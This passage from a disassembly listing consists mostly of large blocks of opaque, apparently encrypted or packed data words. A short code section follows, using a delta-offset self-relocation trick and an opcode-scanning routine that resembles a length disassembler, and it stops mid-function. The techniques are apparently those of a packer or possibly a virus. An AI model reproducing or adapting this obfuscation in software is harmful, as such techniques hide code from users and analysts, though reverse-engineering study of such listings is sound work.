		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 65E5C356h, 12DA9C4Ch, 9E29BC7Dh, 21A99589h
		dd 8D8905D1h, 5D119C9h,	93CB866h, 1929B5FFh, 6A05D1h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 66A88BC3h, 23A428BBh, 0DD95FF7Bh, 6A05D10Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 847BC353h, 727A2980h, 0B9329278h, 21858D89h,	6A05D1h
		dd 245995FFh, 0C08B05D1h, 0FBCC7AEBh, 1AA4F1B7h, 0C49BAE44h
		dd 0F2E313Bh, 30005E6Ah, 76D30D94h, 0CB102966h,	0F0CDB944h
		dd 0A73728F4h, 6F4E1DF3h, 46D51AF7h, 8D48C532h,	0D0720270h
		dd 0DCA248F4h, 550627FBh, 65273009h, 8CB0A6F6h,	9E7F7560h
		dd 0A26718BAh, 0B9138C91h, 75B95CB2h, 9599B80Eh, 93BF31DAh
		dd 0CAB4F3B0h, 42704D50h, 487DC659h, 734BACD5h,	0B0F9D613h
		dd 12F6C979h, 57428EC1h, 0D477E055h, 23E68D8Dh,	6A05D6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 3751D6C3h, 0E5533126h, 0F4B7DDBh, 284h, 89FB8B00h, 0D110218Dh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 95890B0Bh, 5D10121h, 1C0985C7h, 58F005D1h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 519AAC3h,	6E119693h, 0BF0F5747h, 7985C7DFh
		dd 5D106h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 42CAC356h, 851A473Bh, 0E821F447h
		dd 9, 0FF88FFB8h, 3F127CD8h, 15BD0B3Ch,	5B05D102h, 18F0Fh
		dd 0FFF50000h, 0D11389B5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E4B29190h
		dd 0B6B2DB84h, 0B1BD8BEEh, 0FF05D10Dh, 0D10EDD95h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 9E2399BEh, 6A737B76h, 5995FF00h, 8B05D124h, 182DEBC0h
		dd 0CEC327AEh, 5576D0E4h, 8B7E2339h, 176140DDh,	86A14642h
		dd 558153EDh, 76028C6Ah, 67E14E97h, 5D96E7E5h, 0B1E6402Ch
		dd 0C015E65Ch, 11E8h, 8EA7CC00h, 0EB988C48h, 43471AB9h
		dd 37186A79h, 0F5AC817h, 1287h,	6E800h,	95DA0000h, 36B301Dh
		dd 2FF5BD89h, 815E05D1h, 58F0C2h, 14E800h, 0CD80000h, 0A4240CFEh
		dd 80345AEFh, 6A907979h, 0BAD76379h, 5BF8AE77h,	160668h
		dd 0BE800h, 0B5AE0000h,	0E7311246h, 0ECFDB8E2h,	0FF5F5E9Ah
		dd 88CB8132h, 594B37F4h, 169D9D01h, 0C18105D1h,	1D49B6C6h
		dd 8E9h, 5759B500h, 608DB812h, 0F9C1812Ch, 0F6C5632h, 680h
		dd 0F19D8B00h, 8105D11Fh, 73C440C1h, 0DA8B664Eh, 10E851h
		dd 7AD20000h, 0ADF433CDh, 32ABA2F1h, 1753FB38h,	9D89F1F4h
		dd 5D100A1h, 89028F5Eh,	0D108BD95h, 4EA8305h, 1B89BD89h
		dd 0EF8305D1h, 8C850F01h, 89FFFFFFh, 0D1229DB5h, 60EB05h
		dd 17h dup(0)
		dd 0E9000000h, 0B2Dh, 0B21E9h, 2D776800h, 0CCE905D6h, 68FFFB56h
		dd 5D62E8Eh, 0FB56C2E9h, 2EFF68FFh, 0B8E905D6h,	0C6FFFB56h
		dd 230AADBAh, 0A61BAD5h, 725952EBh, 644F6805h, 0D2A9021Fh
		dd 95A8DD8Dh, 0ACBB3B12h, 40D9200Bh, 65F60C67h,	206F3E42h
		dd 66D86033h, 452903D4h, 82422239h, 0EFC85F9Fh,	68927E84h
		dd 0C9321FD7h, 1CD086B4h, 0B3B3CA31h, 5D112656h, 0FEF68BF0h
		dd 0FE23174Fh, 0EA8A80CFh, 41962C9h, 0D9748D68h, 0BCCD2815h
		dd 4B4609B0h, 6CAE254Ah, 0B9E49FCDh, 8C402C3Fh,	0C558A1D4h
		dd 0FC8DB329h, 8449BFD1h, 9A295872h, 72844979h,	0CB9E4C1Eh
		dd 0A6011A64h, 7F526D26h, 72844A5Eh, 49988508h,	6D3F7284h
		dd 78093F6Dh, 18630C02h, 0DED33249h, 937B8893h,	0CD9C4775h
		dd 0B0C7373Ah, 8E752EBCh, 7283EB91h, 0AD886436h, 3E35C457h
		dd 2889AAC3h, 2C3F45CCh, 118215Dh, 0EE124AD6h, 0B2A7B41Bh
		dd 72206CADh, 1804DB41h, 0F806752Ch, 4DA0B167h,	3E661934h
		dd 3747E5CFh, 1C524E06h, 3Ch, 79752C10h, 7B561935h, 6CAE855Ah
		dd 732427FDh, 943260EEh, 672A3DE6h, 6CADB676h, 19E34311h
		dd 203B450Bh, 0B7A9D251h, 0AE84FB18h, 18CE9C6Ch, 47ED9654h
		dd 3CB90D17h, 0EB000000h, 6879752Ch, 3F2C5C72h,	24C6AEC1h
		dd 0F6DA22FEh, 561967CDh, 0E3839EDBh, 5E7F4679h, 3A6CAE85h
		dd 0FD193874h, 3F92BE69h, 6CADF51Eh, 424DEBB9h,	70772840h
		dd 203B45FCh, 190D170Ch, 855A7B56h, 0D0FD6CAEh,	0DDF97A4h
		dd 0B890A45Fh, 3898373Ah, 0DF727FA4h, 0AB9CAB05h, 6F6ED1ACh
		dd 0F87F2DB5h, 9B4B792Fh, 8077F91Eh, 79F49772h,	0E5876FFEh
		dd 779CB914h, 693B7280h, 72B174B6h, 4B7C175Ch, 1ED59h
		dd 56AD8000h, 0E44699C7h, 71D2D7D4h, 0FD19E64Eh, 0F8AE65D8h
		dd 0C1F3ACFDh, 7B98378Ah, 1C6CAE62h, 6C9984Eh, 633B5877h
		dd 8EDC6CAEh, 12CD5CA7h, 0AE62B2ABh, 6F07556Ch,	991DA4DEh
		dd 0EA3D50D7h, 71862C9h, 0E41E15A4h, 84382568h,	8DDF6CAEh
		dd 0AA5517DFh, 0F3F4582h, 0AE849380h, 0B066346Ch, 2C1804FCh
		dd 0CF357975h, 63747E5h, 611C524Eh, 10000000h, 6879752Ch
		dd 84E9EAD9h, 3C6E6CAEh, 0FD191903h, 5C73C78Ah,	6CADFE3Fh
		dd 0D16C8AD8h, 81587BBDh, 0ADE71102h, 5E9BB66Ch, 19111DC3h
		dd 855A7B56h, 0AFFD6CAEh, 3BE47986h, 3B45C02Ch,	6624B6A8h
		dd 0F7A59F5Fh, 8FFD19BFh, 1B11D7D8h, 0B6710A35h, 66ABA8E7h
		dd 7E2C6CAEh, 35B9DF45h, 0EB000000h, 3579752Ch,	5EEF0A19h
		dd 0EEEFA2A5h, 986CAE84h, 12D26995h, 3CE29748h,	0EA0A1970h
		dd 28CB915Dh, 0A19D351h, 0CE9C50EDh, 20F00E15h,	30AABAD7h
		dd 0D172202h, 20F00A19h, 32A844D5h, 0D9FA600Ch,	9F62603Bh
		dd 1FD76490h, 0F8D7924Dh, 6CAE84E7h, 0D7323260h, 6E1992ADh
		dd 0EE67983h, 9341D823h, 3F4544E0h, 0A6D65D2Ch,	0F4F895EEh
		dd 94ED4076h, 4C77F5F9h, 194504E0h, 0D297E387h,	0DBF8D73Eh
		dd 7C6CADA1h, 0DD47782Eh, 3579752Ch, 5A7B5619h,	0FD6CAE85h
		dd 9423F4AFh, 12CD6099h, 637470Ah, 501C524Eh, 10000000h
		dd 6879752Ch, 7EF7E85h,	854A4B46h, 9FCD6CAEh, 196E36E9h
		dd 0AE84A9AAh, 810CDF6Ch, 6CAE8494h, 5ABE6133h,	0F40F0777h
		dd 52BFB765h, 8D5F1728h, 190529DFh, 8EA1DB56h, 0FD194FD5h
		dd 33235863h, 0D9447F92h, 17A08C9Fh, 1EB90Dh, 2CEB0000h
		dd 18F80675h, 3BA14DDEh, 19CF6715h, 0AE84A9AAh,	7539ED6Ch
		dd 3B450B19h, 0D170C20h, 0A6B9h, 772CEB00h, 425B767Bh
		dd 346CAE85h, 0C6AEBD39h, 0EC9D7B24h, 0AE84B4A1h, 5301536Ch
		dd 0FA07EA93h, 8BF1BC67h, 45DD37F0h, 4002C3Fh, 79752C18h
		dd 0A8FD1935h, 0E714FE21h, 96FE3FE0h, 4E063747h, 211C52h
		dd 2C100000h, 19357975h, 0AE84A9AAh, 307C2E6Ch,	0A0DB5619h
		dd 454ED689h, 170C203Bh, 41B90Dh, 2CEB0000h, 85687975h
		dd 399B677Eh, 2E7E0CD7h, 395A6978h, 0DE6CAD8Eh,	1949D38Ch
		dd 0A55EEF0Ah, 84EEEFA2h, 84AA6CAEh, 450B19A8h,	8E51203Bh
		dd 0AE851203h, 3CE7B56Ch, 0F00A1970h, 9046DB20h, 450E16EFh
		dd 8A5D2C3Fh, 0AE851607h, 4AE71C6Ch, 717B2476h,	0DDC6D94h
		dd 8546577Ah, 93C16CAEh, 9EE4CFE0h, 0FFF788F2h,	0B0AABF6Dh
		dd 2A56143h, 0DD87B895h, 0ADF1C1D0h, 3CEB7F6Ch,	0CBEC7F85h
		dd 0F0819AE0h, 2B0C2D8Ah, 23DD081h, 3DB54C5Ah, 41BB7AADh
		dd 261EEAA6h, 6F1D3E57h, 5250084Ch, 3D0008Fh, 2577727Fh
		dd 44B4C49h, 1761727Fh,	46B6827h, 0BEEC727Fh, 479E488h
		dd 0C9C48569h, 727F03CCh, 6C5E194Bh, 3C8A07B9h,	8B942AE9h
		dd 23914B7Dh, 95000000h, 8A43F45h, 12D1C82Eh, 0F895E243h
		dd 0AC4076F4h, 52EB161Dh, 0B395AA1h, 63E76CAEh,	64F70DC4h
		dd 3F456943h, 0A78A5D2Ch, 0BF2DC158h, 0AE854556h, 0D553986Ch
		dd 9AF464E5h, 0A14B7426h, 6A7F732Dh, 845E8527h,	57500272h
		dd 28063A20h, 0A80629D2h, 550E3C4Dh, 5BD6E9A7h,	95860F22h
		dd 3272845Ch, 0E0AFB260h, 78557CB0h, 2C690557h,	78557D2Bh
		dd 314FA2A5h, 82A5651Eh, 0A7122D41h, 490A45h, 2C2E0000h
		dd 0C767B77h, 0BBFCD184h, 6A03727Dh, 132E07Ah, 0BC5A4B46h
		dd 210C6CADh, 3EAC40DBh, 0B469B305h, 0F2FCEAA9h, 26634EB8h
		dd 71789FF8h, 44B3BE43h, 3767F235h, 94000000h, 27CF5E99h
		dd 0FC19B445h, 9B6CADB8h, 190E16C9h, 905CF10Ah,	306B29CAh
		dd 0F1A7B6CDh, 84BCADE0h, 95B6CAEh, 0F38AF578h,	51E616F3h
		dd 6619CF9Dh, 0D8718C63h, 6EB9F5DFh, 0EB000001h, 3478762Ch
		dd 3F451804h, 245B21A4h, 3FAD41DAh, 67415F81h, 0E5CFFDB1h
		dd 4E063747h, 521C52h, 2C100000h, 19347876h, 0AE84A9AAh
		dd 810CDF6Ch, 6CAE8494h, 84CECFC2h, 1B496CAEh, 0CECAF5A7h
		dd 0E191CD9Ch, 0D1E90975h, 59C6D7FAh, 13416CAEh, 19EAB26Dh
		dd 7B56190Bh, 6CAE855Ah, 97A4D0FDh, 18314CE1h, 0D7C13C67h
		dd 4CE096A9h, 25B90D17h, 0EB000000h, 3478762Ch,	84A9AA19h
		dd 39ED6CAEh, 450B1975h, 1703233Ah, 97A6DD50h, 72632EDFh
		dd 156CAE85h, 46EE9147h, 5A7B5619h, 0A76CAE85h,	93C6570Ch
		dd 6331917Ah, 96004035h, 742F3189h, 0A9B8D329h,	2849BA4Dh
		dd 5003E851h, 194504D4h, 0E75E88C0h, 0DA427DFCh, 3579752Ch
		dd 3747E5CFh, 1C524E06h, 3Bh, 6752C10h,	0FCB066F7h, 84A9AA19h
		dd 50DF6CAEh, 805A0A27h, 0A6ABF9DFh, 4C494417h,	0CB6CAE85h
		dd 85273499h, 0F2A06CAEh, 92A45B3h, 450B1923h, 170C203Bh
		dd 1DB90Dh, 2CEB0000h, 0DBDEF175h, 5AC7F24Ch, 0AA19F8B4h
		dd 6CAE84A9h, 197539EDh, 203B450Bh, 190D170Ch, 0EFEC97FDh
		dd 8F524DA8h, 0ADC21300h, 3DE6B46Ch, 6F720B76h,	0C1E4F1DCh
		dd 31636CADh, 375B660Eh, 8C6CADC2h, 0CF2AEB3Ah,	9DD9B5C1h
		dd 5604E68Eh, 830ED1A0h, 6CADC192h, 7BBC6735h, 2F3E4511h
		dd 67A6205Ah, 9FD5C6CDh, 20726CADh, 0C423E8FAh,	8DF4511Bh
		dd 6F5FF0FCh, 6B0279B8h, 9A66C5B0h, 7BBB6CADh, 0EE415F09h
		dd 710C27D5h, 76514EA1h, 0FFFFFE5Ch, 84F4E5EAh,	0F99E6CAEh
		dd 6F6CAE84h, 13823F77h, 1DC6F29Ch, 0AD94A4B6h,	225FD26Ch
		dd 6869540Fh, 0E26CAD95h, 6CAD94EDh, 0AD947267h, 7B77D12Ch
		dd 794A5B76h, 0BCCD3281h, 81790411h, 23D18332h,	13008F5Eh
		dd 0B4328179h, 0A3373DE6h, 0B518E9E5h, 38527AD9h
		dd 215578Fh, 3C3666B9h,	6298B503h, 0C33825C9h, 0F1CAF8AEh
		dd 23A542C2h, 710A53F1h, 32000002h, 1F76B1C6h, 66D4EE1h
		dd 6E4566F7h, 50BB7C11h, 2E95162Bh, 99B4C981h, 0B0C7371Eh
		dd 54E51C77h, 69027853h, 5C73324Eh, 66D8583Fh, 45250FD8h
		dd 8C402C3Fh, 840BDED4h, 7284A9E2h, 0C8639994h,	768CA117h
		dd 39F437E5h, 7284AA18h, 0D0A11D7Bh, 5ACED7FDh,	5F227078h
		dd 0BA58A18Ch, 9E4C203Dh, 386604E8h, 0B3832539h, 19043FB4h
		dd 46F48E3h, 4816DFEh, 785AC31Bh, 0DFA22078h, 46D5210Ch
		dd 5DD6BB18h, 407328EBh, 3191AB45h, 6B7E2C7Eh, 0CEC57B84h
		dd 7E3191CDh, 7A6A184Ah, 0C5283FE0h, 200BACBFh,	1CAD41DAh
		dd 9F57E611h, 266212CDh, 9217048Bh, 0E2B07E31h,	0C4662D3Ch
		dd 438407B6h, 0BF995D11h, 806F3EC3h, 0D73EE17Ah, 89DDDBC1h
		dd 0EE451446h, 0D520FB94h, 0D5D09CAFh, 89DDF5C4h, 2A45BFB2h
		dd 53E1F18Ch, 26D92235h, 0B5443A16h, 0B46B481Eh, 0D19DCF8Fh
		dd 0BA4F431Dh, 3E3649B7h, 0D9F4F3ACh, 958577D9h, 0E2AB2C7Eh
		dd 0A1C67177h, 15ADA03h, 0AFCB0000h, 0CA341F98h, 0E01F76B1h
		dd 0FA076E49h, 14694467h, 98C7BE79h, 27809DE6h,	9BB0CCh
		dd 7CBFCE35h, 5750EB11h, 28359829h, 0AF66D857h,	742C3C78h
		dd 82246B7Eh, 57284AAh,	2C5692DFh, 0C396BAE6h, 849ECFCCh
		dd 741A4872h, 599CF478h, 84610D20h, 5C0EE67Bh, 0DAE9F8AEh
		dd 7855BBEEh, 0D2699598h, 285D721h, 0E3A13375h,	0E969701Ch
		dd 0BA000000h, 0A78E293Eh, 8EE5C659h, 0F6DDDE6Fh, 0D833F489h
		dd 562D8EA3h, 112C5109h, 283FBF96h, 0CC5DA48Fh,	0E17A80EBh
		dd 0A4EBBAC6h, 66D856B7h, 2CAD8750h, 246B7E74h,	7284AA8Ah
		dd 0AA975F0Dh, 91FC3F50h, 581CD06Bh, 2CFF8200h,	0AB25369Dh
		dd 0F0A27284h, 0CFCEC4CFh, 42B8785Ah, 0C9307DC1h, 0F02EBCB0h
		dd 0CCF7870Dh, 839AE1CCh, 0DC210CDDh, 6F966FC9h, 88BE698Ch
		dd 5C5D06E4h, 34FC0771h, 0DBCF0C32h, 45900B39h,	245E233Ah
		dd 0ABBA717Ah, 0DDDE81FCh, 33F489F6h, 86F1A3D8h, 576B0B7Fh
		dd 0F59B717Fh, 7489E4C7h, 87F7DED9h, 0A5DC37F0h, 0C2381394h
		dd 0D7270EA9h, 42B2B140h, 0BA9B8F35h, 8B230F87h, 0CB85C7E8h
		dd 858F02D7h, 27E30C6h,	4BB19C50h, 1160F730h, 0CC000000h
		dd 5CF10A19h, 0A2ACCA90h, 0A58423Ch, 0D63E3BE4h, 462E3D45h
		dd 0E68EA1DBh, 8569007Bh, 27CF5C98h, 0C0ACC13Ah, 610D2065h
		dd 0EE67B84h, 0A945D423h, 5519324Ch, 643568B2h,	0C890000h
		dd 3D8D6824h, 0C890000h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 241C895Ch, 0CC233BB9h, 96C98103h,	834BF64Dh
		dd 0F181FFE9h, 4E284A43h, 354368h, 24248900h, 4240483h
		dd 438F515Bh, 241C8B08h, 81E68956h, 4C6h, 4C68100h, 87000000h
		dd 0FF5C2434h, 83592434h, 0C4E904C4h, 2AFFFB4Bh, 0A72330C5h
		dd 29CCAEAFh, 8A6472CEh, 0DB8E1C9h, 305D630h, 8DC38BC5h
		dd 0D631508Dh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 105DF2C8h, 10218D89h
		dd 0BE6605D1h, 85C7A374h, 5D11C09h, 5DE4h, 0B7E78166h
		dd 7985C734h, 5D106h, 29000000h, 0D122A195h, 0CDB5FF05h
		dd 6A05D115h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0A632C355h, 58525FB4h,	0D36532A6h
		dd 849BD8Bh, 0BD8905D1h, 5D10CBDh, 0EDD95FFh, 6A05D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0AA72ECC3h, 0E9852F3Bh, 9, 801AA84Fh, 0E26D06EFh, 0FF006A36h
		dd 0D1245995h, 0EBC08B05h, 0B901716Bh, 7536BE0h, 375724DDh
		dd 0E2C54C5Ch, 0D6C5085Eh, 0E1EC52CBh, 0E517CA55h, 0FAEDB797h
		dd 7F83B52Dh, 5D639F9Ch, 41F204D7h, 1D343D5Dh, 604D4099h
		dd 0ECD80FECh, 607D6EA7h, 8E80F33Ch, 5F0F49D3h,	1380CE47h
		dd 7FA4742Dh, 77D1F437h, 0CB30BD0Fh, 6D6FA4A4h,	428362F1h
		dd 0E3328CFAh, 42B54274h, 0F3E4BF2Ch, 9C5F1EA8h, 32908D8Dh
		dd 6A05D6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 462BECC3h, 10218D89h, 0B53105D1h,	5D12341h
		dd 1C0985C7h, 60F805D1h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 6B5D8FC3h, 0C7D8B70Fh
		dd 0D1067985h, 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 958B3447h, 5D1204Dh, 17D5B5FFh
		dd 12E905D1h, 0D6000000h, 0AED3A5B3h, 0FD1B6BE8h, 796415Dh
		dd 63FBA866h, 0DD95FFD9h, 6A05D10Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A6D6C355h
		dd 0FF006A90h, 0D1245995h, 0EBC08B05h, 6CD09A69h, 65386C8Dh
		dd 23B90261h, 9D0A59FEh, 0E23AA650h, 4035928Dh,	45DDEE49h
		dd 58FA36E7h, 804C49BEh, 4A45EE21h, 10E83DA9h, 0D791AF70h
		dd 0DC7DF2A8h, 3D8B1EBCh, 0BD7EFD02h, 5027B569h, 0E5A78960h
		dd 9E9DC027h, 0BA4ABC48h, 0A924BF6Ch, 0B833B187h, 858D444h
		dd 4CC8558Fh, 4920E171h, 0F4917A8Eh, 0A7853A9Bh, 0EE820D1h
		dd 16000000h, 996E4B99h, 0E40A56B3h, 7401B29Ch,	68F0F78h
		dd 89000000h, 0D13195B5h, 0DE95A05h, 1E000000h,	5C71C17Fh
		dd 282B0EA6h, 1CE8E9B4h, 5F18C281h, 8D8B0000h, 5D11A9Dh
		dd 179D68h, 0A0B1B900h,	295B0354h, 0D111A58Dh, 81028B05h
		dd 3F65F7F0h, 87D7810Ch, 81611CAAh, 9FE05EC0h, 9D896021h
		dd 5D10129h, 8E9h, 7CFEFC00h, 3613D3D8h, 0C081613Eh, 1DE4980Bh
		dd 82B6C681h, 8B502374h, 0D10FE9BDh, 8B028F05h,	0B8EA81CFh
		dd 8B1B4BC9h, 0B4C281CEh, 0F81B4BC9h, 0F01EB83h, 0FFFFA885h
		dd 0C1BD8BFFh, 8D05D122h, 0D6349A8Dh, 14E905h, 0AD580000h
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 583351DAh,	8D8960A1h
		dd 5D11021h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	82C35040h, 149BDEE9h, 259D29BCh, 0C705D108h, 0D11C0985h
		dd 5F9405h, 4DBD8B00h, 0C705D112h, 0D1067985h, 5, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 2A877C5Bh, 0F780FA2Fh, 0FFF28B01h, 0D115CDB5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 6648D5FCh, 0FFC9C0B8h, 0D10EDD95h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0C850FD0h, 0E9000000h, 7, 9B88EB79h,	6A92E96Eh, 5995FF00h
		dd 8B05D124h, 0FC6BEBC0h, 0E22BF8DFh, 8DC0B794h, 7544B778h
		dd 57347FABh, 0D1A9B647h, 881B38D2h, 0BCFAD22Bh, 2F67FB1Ch
		dd 0A799FA31h, 59182C75h, 8AB78E5Ch, 0B06E30DAh, 2B1DBEC4h
		dd 47763251h, 0B34A27EFh, 0EBDAE7D9h, 0B7F581F3h, 9CBC7A3Bh
		dd 0E802D62Ah, 0B4735EEFh, 9EA2824Ah, 399209E7h, 3BC80AE2h
		dd 548529F5h, 320148E9h, 3FFE1146h, 66E90748h, 60000002h
		dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5D10699h, 5CA1858Dh
		dd 0D0FF05D4h, 61D8589h, 0FE8B05D1h, 680CEFC1h,	20060000h
		dd 26A006Ah, 0D6857h, 95FF0001h, 5D1061Dh, 32E9h, 0D985C600h
		dd 5605D124h
		dd 0C530DF68h, 0FDB5FFA9h, 8D05D124h, 0D45CA185h, 89D0FF05h
		dd 0D1161185h, 69858D05h, 5005D11Bh, 56A406Ah, 1195FF56h
		dd 6105D116h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 358D8589h, 428B05D6h, 8585890Ch
		dd 8B05D635h, 85891042h, 5D63589h, 35C3B58Dh, 858D05D6h
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0D6358DB5h, 85858B05h
		dd 8305D635h, 0D63589BDh, 840F0005h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 8D858908h, 8D05D635h, 0D63614B5h
		dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0D6358D85h, 4C205h
		dd 358D858Bh, 8B05D6h, 358D8589h, 0CF05D6h, 60000000h
		dd 35EAB589h, 858905D6h, 5D635E6h, 2CDD858Dh, 408B05D1h
		dd 23858944h, 8D05D636h, 0D63659B5h, 35858D05h,	0FF005B7Eh
		dd 858B61D0h, 5D635EAh,	0E69D8BC3h, 0F05D635h, 33C43B7h
		dd 785B8BD8h, 35E69D03h, 738B05D6h, 0E6B50324h,	5605D635h
		dd 8B207B8Bh, 0BD031C73h, 5D635E6h, 35E6B503h, 83FC05D6h
		dd 8B41FFC9h, 0D635EA9Dh, 3178B05h, 0D635E695h,	4C78305h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0D635E685h, 0EA858905h, 8B05D635h,	8BCE8BF0h
		dd 23BD81C1h, 5D636h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5D63623h
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 23BD8100h
		dd 5D636h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 5D63623h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 91858DCFh
		dd 8905D635h, 0D10BA585h, 27858D05h, 8905D636h,	0D1071585h
		dd 0EE858D05h, 8905D635h, 0D1319185h, 0AE805h, 0F8A30000h
		dd 30F4982Fh, 504C078h,	3860F53h, 66000000h, 5E5FDA8Bh
		dd 6978C681h, 0D08B0000h, 1A37B8h, 5936FF00h, 0F181F98Bh
		dd 31AEA203h, 81DBB70Fh, 37C1A3F1h, 16D7817Dh, 817BAE3Ch
		dd 0A1BCFEF1h, 21CA8010h, 0FE8B6651h, 0CE9068Fh, 2000000h
		dd 4D287ABFh, 64971C38h, 83849999h, 10E802EEh, 81000000h
		dd 0AEF9BCADh, 5C03A336h, 0A81E9B98h, 0F8261303h, 0F4E4E5Fh
		dd 0F48FBBFh, 0FFFFA085h, 0FE853FFh, 0FA000000h, 7A99F704h
		dd 0C4500B42h, 158FC8DEh, 0F381FF2Fh, 50ADBCh, 0C8E95A5Bh
		dd 88000001h, 7	dup(88004188h),	4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 2Ah dup(0)
dword_5BD830	dd 0E9000000h, 353h, 0E855h, 815D0000h,	0D63A16EDh, 85C76005h
					; DATA XREF: ud2_____:005C2BFCo
		dd 5D63963h, 0
; ---------------------------------------------------------------------------
		cmp	word ptr [esi],	0A166h
		jnz	loc_5BD86A
		mov	dword ptr [ebp+5D63967h], 6
		jmp	loc_5BD88E
; ---------------------------------------------------------------------------


loc_5BD86A:				; CODE XREF: ud2_____:005BD855j
		lea	eax, [ebp+5D6396Bh]
		push	eax
		lea	eax, [ebp+5D639BBh]
		push	eax
		push	esi
		push	0
		call	sub_5BD89D
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+5D63967h],	eax


loc_5BD88E:				; CODE XREF: ud2_____:005BD865j
		popa
		add	esi, [ebp+5D63967h]
		mov	eax, [ebp+5D63963h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5BD89D	proc near		; CODE XREF: ud2_____:005BD87Bp

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_5D6395B	= dword	ptr  5D63963h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5BD8CA
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5BD8D6
; ---------------------------------------------------------------------------


loc_5BD8CA:				; CODE XREF: sub_5BD89D+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5BD8D6:				; CODE XREF: sub_5BD89D+28j
		push	ebx
		push	esi
		push	edi


loc_5BD8D9:				; CODE XREF: sub_5BD89D+91j
					; sub_5BD89D+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5BD8EC:				; CODE XREF: sub_5BD89D+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5D63ACDh
		lea	ebp, [ebp+5D63943h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5BD919
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5BD8EC


loc_5BD919:				; CODE XREF: sub_5BD89D+6Bj
		cmp	cl, 0Bh
		jz	loc_5BD976
		cmp	al, 66h
		jnz	loc_5BD957
		cmp	[ebp+var_5], 0
		jnz	loc_5BD8D9
